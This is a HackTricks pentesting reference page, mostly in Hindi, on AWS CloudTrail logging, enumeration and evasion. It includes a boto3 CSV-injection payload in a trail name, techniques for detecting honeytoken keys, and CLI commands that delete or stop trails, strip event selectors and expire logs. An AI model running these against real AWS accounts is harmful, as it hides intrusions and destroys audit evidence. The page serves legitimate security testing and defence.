AWS - CloudTrail Enum

Support HackTricks

CloudTrail

AWS CloudTrail आपके AWS वातावरण के भीतर गतिविधियों को रिकॉर्ड और मॉनिटर करता है। यह विस्तृत इवेंट लॉग कैप्चर करता है, जिसमें यह शामिल है कि किसने क्या किया, कब, और कहाँ, सभी AWS संसाधनों के साथ इंटरैक्शन के लिए। यह परिवर्तनों और क्रियाओं का एक ऑडिट ट्रेल प्रदान करता है, जो सुरक्षा विश्लेषण, अनुपालन ऑडिटिंग, और संसाधन परिवर्तन ट्रैकिंग में मदद करता है। CloudTrail उपयोगकर्ता और संसाधन व्यवहार को समझने, सुरक्षा स्थिति को बढ़ाने, और नियामक अनुपालन सुनिश्चित करने के लिए आवश्यक है।

प्रत्येक लॉग की गई घटना में शामिल है:

  • कॉल की गई API का नाम: eventName

  • कॉल की गई सेवा: eventSource

  • समय: eventTime

  • IP पता: SourceIPAddress

  • एजेंट विधि: userAgent। उदाहरण:

  • Signing.amazonaws.com - AWS प्रबंधन कंसोल से

  • console.amazonaws.com - खाते का रूट उपयोगकर्ता

  • lambda.amazonaws.com - AWS Lambda

  • अनुरोध पैरामीटर: requestParameters

  • प्रतिक्रिया तत्व: responseElements

इवेंट को लगभग हर 5 मिनट में एक JSON फ़ाइल में एक नए लॉग फ़ाइल में लिखा जाता है, इन्हें CloudTrail द्वारा रखा जाता है और अंततः, लॉग फ़ाइलें लगभग 15 मिनट बाद S3 में वितरित की जाती हैं। CloudTrail के लॉग को खातों और क्षेत्रों के बीच समेकित किया जा सकता है। CloudTrail लॉग फ़ाइल की अखंडता का उपयोग करने की अनुमति देता है ताकि आप यह सत्यापित कर सकें कि आपकी लॉग फ़ाइलें तब से अपरिवर्तित हैं जब से CloudTrail ने उन्हें आपको वितरित किया। यह लॉग के अंदर एक डाइजेस्ट फ़ाइल में SHA-256 हैश बनाता है। नए लॉग का sha-256 हैश हर घंटे बनाया जाता है। एक ट्रेल बनाते समय इवेंट चयनकर्ता आपको लॉग करने के लिए ट्रेल को इंगित करने की अनुमति देंगे: प्रबंधन, डेटा या अंतर्दृष्टि घटनाएँ।

लॉग एक S3 बकेट में सहेजे जाते हैं। डिफ़ॉल्ट रूप से सर्वर साइड एन्क्रिप्शन का उपयोग किया जाता है (SSE-S3) इसलिए AWS उन लोगों के लिए सामग्री को डिक्रिप्ट करेगा जिनके पास इसका एक्सेस है, लेकिन अतिरिक्त सुरक्षा के लिए आप KMS और अपनी स्वयं की कुंजियों के साथ SSE का उपयोग कर सकते हैं।

लॉग एक S3 बकेट में इस नाम प्रारूप के साथ संग्रहीत होते हैं:

  • BucketName/AWSLogs/AccountID/CloudTrail/RegionName/YYY/MM/DD

  • बकेट का नाम: aws-cloudtrail-logs-<accountid>-<random>

  • उदाहरण: aws-cloudtrail-logs-947247140022-ffb95fe7/AWSLogs/947247140022/CloudTrail/ap-south-1/2023/02/22/

प्रत्येक फ़ोल्डर के अंदर प्रत्येक लॉग का नाम इस प्रारूप का पालन करेगा: AccountID_CloudTrail_RegionName_YYYYMMDDTHHMMZ_Random.json.gz

लॉग फ़ाइल नामकरण सम्मेलन

इसके अलावा, डाइजेस्ट फ़ाइलें (फ़ाइल की अखंडता की जांच करने के लिए) समान बकेट में होंगी:

Aggregate Logs from Multiple Accounts

  • उस AWS खाते में एक ट्रेल बनाएं जहाँ आप लॉग फ़ाइलें वितरित करना चाहते हैं

  • गंतव्य S3 बकेट पर अनुमतियाँ लागू करें जो CloudTrail के लिए क्रॉस-खाता एक्सेस की अनुमति देती हैं और प्रत्येक AWS खाते को अनुमति दें जिसे एक्सेस की आवश्यकता है

  • अन्य AWS खातों में एक नया ट्रेल बनाएं और चरण 1 में बनाए गए बकेट का उपयोग करने का चयन करें

हालांकि, भले ही आप सभी लॉग को एक ही S3 बकेट में सहेज सकते हैं, आप एक ही AWS खाते से संबंधित CloudWatch लॉग में कई खातों से CloudTrail लॉग को समेकित नहीं कर सकते।

याद रखें कि एक खाते में विभिन्न ट्रेल्स हो सकते हैं जो CloudTrail सक्षम हैं जो विभिन्न बकेट में समान (या विभिन्न) लॉग को संग्रहीत करते हैं।

Cloudtrail from all org accounts into 1

जब एक CloudTrail बनाते हैं, तो यह संभव है कि सभी खातों के लिए cloudtrail को सक्रिय करने के लिए संकेत दिया जाए और लॉग को केवल 1 बकेट में प्राप्त किया जाए:

इस तरह आप सभी खातों के सभी क्षेत्रों में CloudTrail को आसानी से कॉन्फ़िगर कर सकते हैं और 1 खाते में लॉग को केंद्रीकृत कर सकते हैं (जिसे आपको सुरक्षित करना चाहिए)।

Log Files Checking

आप यह जांच सकते हैं कि लॉग में कोई परिवर्तन नहीं हुआ है, चलाकर

aws cloudtrail validate-logs --trail-arn <trailARN> --start-time <start-time> [--end-time <end-time>] [--s3-bucket <bucket-name>] [--s3-prefix <prefix>] [--verbose]

Logs to CloudWatch

CloudTrail स्वचालित रूप से CloudWatch को लॉग भेज सकता है ताकि आप संदिग्ध गतिविधियों के प्रदर्शन पर चेतावनी देने वाले अलर्ट सेट कर सकें। ध्यान दें कि CloudTrail को CloudWatch में लॉग भेजने की अनुमति देने के लिए एक भूमिका बनाई जानी चाहिए जो उस क्रिया की अनुमति देती है। यदि संभव हो, तो इन क्रियाओं को करने के लिए AWS डिफ़ॉल्ट भूमिका का उपयोग करने की सिफारिश की जाती है। यह भूमिका CloudTrail को अनुमति देगी:

  • CreateLogStream: यह CloudWatch लॉग स्ट्रीम बनाने की अनुमति देता है

  • PutLogEvents: CloudTrail लॉग को CloudWatch लॉग स्ट्रीम में वितरित करें

Event History

CloudTrail Event History आपको एक तालिका में रिकॉर्ड किए गए लॉग का निरीक्षण करने की अनुमति देता है:

Insights

CloudTrail Insights स्वचालित रूप से लिखित प्रबंधन घटनाओं का विश्लेषण करता है और आपको असामान्य गतिविधि के बारे में चेतावनी देता है। उदाहरण के लिए, यदि TerminateInstance घटनाओं में वृद्धि होती है जो स्थापित बुनियादी रेखाओं से भिन्न होती है, तो आप इसे एक Insight घटना के रूप में देखेंगे। ये घटनाएँ असामान्य API गतिविधि को ढूंढना और प्रतिक्रिया देना पहले से कहीं अधिक आसान बनाती हैं

Insights उसी बकेट में CloudTrail लॉग के रूप में संग्रहीत होते हैं: BucketName/AWSLogs/AccountID/CloudTrail-Insight

Security

Access Advisor

AWS Access Advisor अपने अंतर्दृष्टि को इकट्ठा करने के लिए पिछले 400 दिनों के AWS CloudTrail लॉग पर निर्भर करता है। CloudTrail AWS खाते में किए गए AWS API कॉल और संबंधित घटनाओं का इतिहास कैप्चर करता है। Access Advisor इस डेटा का उपयोग यह दिखाने के लिए करता है कि सेवाओं को अंतिम बार कब एक्सेस किया गया था। CloudTrail लॉग का विश्लेषण करके, Access Advisor यह निर्धारित कर सकता है कि किसी IAM उपयोगकर्ता या भूमिका ने किन AWS सेवाओं का उपयोग किया है और वह एक्सेस कब हुआ। यह AWS प्रशासकों को अनुमतियों को परिष्कृत करने के बारे में सूचित निर्णय लेने में मदद करता है, क्योंकि वे उन सेवाओं की पहचान कर सकते हैं जिन्हें लंबे समय तक एक्सेस नहीं किया गया है और संभावित रूप से वास्तविक उपयोग पैटर्न के आधार पर अत्यधिक व्यापक अनुमतियों को कम कर सकते हैं।

इसलिए, Access Advisor उपयोगकर्ताओं को दी जा रही अनावश्यक अनुमतियों के बारे में सूचित करता है ताकि व्यवस्थापक उन्हें हटा सके

Actions

Enumeration

# Get trails info
aws cloudtrail list-trails
aws cloudtrail describe-trails
aws cloudtrail list-public-keys
aws cloudtrail get-event-selectors --trail-name <trail_name>
aws [--region us-east-1] cloudtrail get-trail-status --name [default]

# Get insights
aws cloudtrail get-insight-selectors --trail-name <trail_name>

# Get data store info
aws cloudtrail list-event-data-stores
aws cloudtrail list-queries --event-data-store <data-source>
aws cloudtrail get-query-results --event-data-store <data-source> --query-id <id>

CSV Injection

CloudTrail के अंदर CVS इंजेक्शन करना संभव है जो मनमाना कोड निष्पादित करेगा यदि लॉग को CSV में निर्यात किया जाता है और Excel के साथ खोला जाता है। निम्नलिखित कोड एक खराब ट्रेल नाम के साथ लॉग प्रविष्टि उत्पन्न करेगा जिसमें पेलोड शामिल है:

import boto3
payload = "=cmd|'/C calc'|''"
client = boto3.client('cloudtrail')
response = client.create_trail(
Name=payload,
S3BucketName="random"
)
print(response)

For more information about CSV Injections check the page:

For more information about this specific technique check https://rhinosecuritylabs.com/aws/cloud-security-csv-injection-aws-cloudtrail/

Detection को बायपास करें

HoneyTokens बायपास

Honeytokens को संवेदनशील जानकारी के एक्सफिल्ट्रेशन का पता लगाने के लिए बनाया गया है। AWS के मामले में, ये AWS कुंजी हैं जिनका उपयोग मॉनिटर किया जाता है, यदि उस कुंजी के साथ कोई कार्रवाई ट्रिगर होती है, तो इसका मतलब है कि किसी ने वह कुंजी चुरा ली है।

हालांकि, Canarytokens, SpaceCrab, SpaceSiren द्वारा बनाए गए Honeytokens या तो पहचानने योग्य खाता नाम का उपयोग कर रहे हैं या सभी ग्राहकों के लिए एक ही AWS खाता ID का उपयोग कर रहे हैं। इसलिए, यदि आप खाता नाम और/या खाता ID को बिना Cloudtrail के कोई लॉग बनाए प्राप्त कर सकते हैं, तो आप जान सकते हैं कि कुंजी एक honeytoken है या नहीं

Pacu के पास कुछ नियम हैं यह पता लगाने के लिए कि क्या एक कुंजी Canarytokens, SpaceCrab, SpaceSiren** से संबंधित है:**

  • यदि canarytokens.org भूमिका नाम में दिखाई देता है या खाता ID 534261010715 त्रुटि संदेश में दिखाई देती है।

  • हाल ही में उनका परीक्षण करते समय, वे खाता 717712589309 का उपयोग कर रहे हैं और नाम में अभी भी canarytokens.com स्ट्रिंग है।

  • यदि SpaceCrab त्रुटि संदेश में भूमिका नाम में दिखाई देता है

  • SpaceSiren उपयोगकर्ता नाम उत्पन्न करने के लिए uuids का उपयोग करता है: [a-f0-9]{8}-[a-f0-9]{4}-4[a-f0-9]{3}-[89aAbB][a-f0-9]{3}-[a-f0-9]{12}

  • यदि नाम यादृच्छिक रूप से उत्पन्न होता है, तो यह एक HoneyToken होने की उच्च संभावनाएँ हैं।

कुंजी ID से खाता ID प्राप्त करें

आप एक्सेस कुंजी के अंदर कोडित से खाता ID प्राप्त कर सकते हैं जैसे कि यहां समझाया गया है और अपने Honeytokens AWS खातों की सूची के साथ खाता ID की जांच करें:

import base64
import binascii

def AWSAccount_from_AWSKeyID(AWSKeyID):

trimmed_AWSKeyID = AWSKeyID[4:] #remove KeyID prefix
x = base64.b32decode(trimmed_AWSKeyID) #base32 decode
y = x[0:6]

z = int.from_bytes(y, byteorder='big', signed=False)
mask = int.from_bytes(binascii.unhexlify(b'7fffffffff80'), byteorder='big', signed=False)

e = (z & mask)>>7
return (e)

print("account id:" + "{:012d}".format(AWSAccount_from_AWSKeyID("ASIAQNZGKIQY56JQ7WML")))

Check more information in the orginal research.

लॉग उत्पन्न न करें

इसके लिए सबसे प्रभावी तकनीक वास्तव में एक सरल है। बस उस कुंजी का उपयोग करें जिसे आपने अभी पाया है ताकि अपने हमलावर खाते के अंदर किसी सेवा तक पहुंच सकें। इससे CloudTrail आपके अपने AWS खाते के अंदर एक लॉग उत्पन्न करेगा और पीड़ित के अंदर नहीं

बात यह है कि आउटपुट आपको एक त्रुटि दिखाएगा जो खाता आईडी और खाता नाम को इंगित करता है, इसलिए आप देख सकेंगे कि क्या यह एक Honeytoken है

लॉग के बिना AWS सेवाएँ

अतीत में कुछ AWS सेवाएँ थीं जो CloudTrail को लॉग नहीं भेजती थीं (यहाँ सूची खोजें). उन सेवाओं में से कुछ त्रुटि के साथ कुंजी भूमिका का ARN प्रदान करेंगी यदि कोई अनधिकृत (हनीटोकन कुंजी) इसे एक्सेस करने की कोशिश करता है।

इस तरह, एक हमलावर बिना किसी लॉग को ट्रिगर किए कुंजी का ARN प्राप्त कर सकता है। ARN में हमलावर AWS खाता आईडी और नाम देख सकता है, हनीटोकन की कंपनियों के खाते की आईडी और नाम जानना आसान है, इसलिए इस तरह एक हमलावर यह पहचान सकता है कि क्या टोकन एक HoneyToken है।

ध्यान दें कि सभी सार्वजनिक APIs जो CloudTrail लॉग उत्पन्न नहीं कर रही थीं, अब ठीक कर दी गई हैं, इसलिए शायद आपको अपनी खुद की खोज करनी होगी...

अधिक जानकारी के लिए मूल शोध देखें।

तीसरी अवसंरचना तक पहुँच

कुछ AWS सेवाएँ कुछ अवसंरचना उत्पन्न करेंगी जैसे डेटाबेस या कुबेरनेट्स क्लस्टर (EKS)। एक उपयोगकर्ता सीधे उन सेवाओं से बात कर रहा है (जैसे कुबेरनेट्स API) AWS API का उपयोग नहीं करेगा, इसलिए CloudTrail इस संचार को नहीं देख पाएगा।

इसलिए, EKS तक पहुँच रखने वाला एक उपयोगकर्ता जिसने EKS API का URL खोजा है, वह स्थानीय रूप से एक टोकन उत्पन्न कर सकता है और API सेवा से सीधे बात कर सकता है बिना Cloudtrail द्वारा पता लगाए

अधिक जानकारी के लिए:

CloudTrail कॉन्फ़िग को संशोधित करना

ट्रेल्स हटाएँ

aws cloudtrail delete-trail --name [trail-name]

ट्रेल्स रोकें

aws cloudtrail stop-logging --name [trail-name]

मल्टी-रीजन लॉगिंग बंद करें

aws cloudtrail update-trail --name [trail-name] --no-is-multi-region --no-include-global-services

इवेंट चयनकर्ताओं द्वारा लॉगिंग बंद करें

# Leave only the ReadOnly selector
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[{"ReadWriteType": "ReadOnly"}]' --region <region>

# Remove all selectors (stop Insights)
aws cloudtrail put-event-selectors --trail-name <trail_name> --event-selectors '[]' --region <region>

पहले उदाहरण में, एकल इवेंट चयनकर्ता को एक JSON एरे के रूप में एकल ऑब्जेक्ट के साथ प्रदान किया गया है। "ReadWriteType": "ReadOnly" यह संकेत करता है कि इवेंट चयनकर्ता को केवल पढ़ने के लिए इवेंट कैप्चर करना चाहिए (इसलिए CloudTrail अंतर्दृष्टि लिखने के इवेंट की जांच नहीं करेगी उदाहरण के लिए)।

आप अपनी विशिष्ट आवश्यकताओं के आधार पर इवेंट चयनकर्ता को अनुकूलित कर सकते हैं।

S3 जीवनचक्र नीति के माध्यम से लॉग हटाना

aws s3api put-bucket-lifecycle --bucket <bucket_name> --lifecycle-configuration '{"Rules": [{"Status": "Enabled", "Prefix": "", "Expiration": {"Days": 7}}]}' --region <region>

बकेट कॉन्फ़िगरेशन में संशोधन

  • S3 बकेट को हटाएँ

  • बकेट नीति को बदलें ताकि CloudTrail सेवा से किसी भी लेखन को अस्वीकार किया जा सके

  • S3 बकेट में जीवनचक्र नीति जोड़ें ताकि वस्तुओं को हटाया जा सके

  • CloudTrail लॉग को एन्क्रिप्ट करने के लिए उपयोग किए गए kms कुंजी को निष्क्रिय करें

Cloudtrail रैनसमवेयर

S3 रैनसमवेयर

आप एक विषम कुंजी उत्पन्न कर सकते हैं और CloudTrail को उस कुंजी के साथ डेटा एन्क्रिप्ट करने के लिए कह सकते हैं और निजी कुंजी को हटा सकते हैं ताकि CloudTrail सामग्री को पुनर्प्राप्त नहीं किया जा सके। यह मूल रूप से एक S3-KMS रैनसमवेयर है जो इस में समझाया गया है:

KMS रैनसमवेयर

यह विभिन्न अनुमतियों की आवश्यकताओं के साथ पिछले हमले को करने का सबसे आसान तरीका है:

संदर्भ

HackTricks का समर्थन करें

Last updated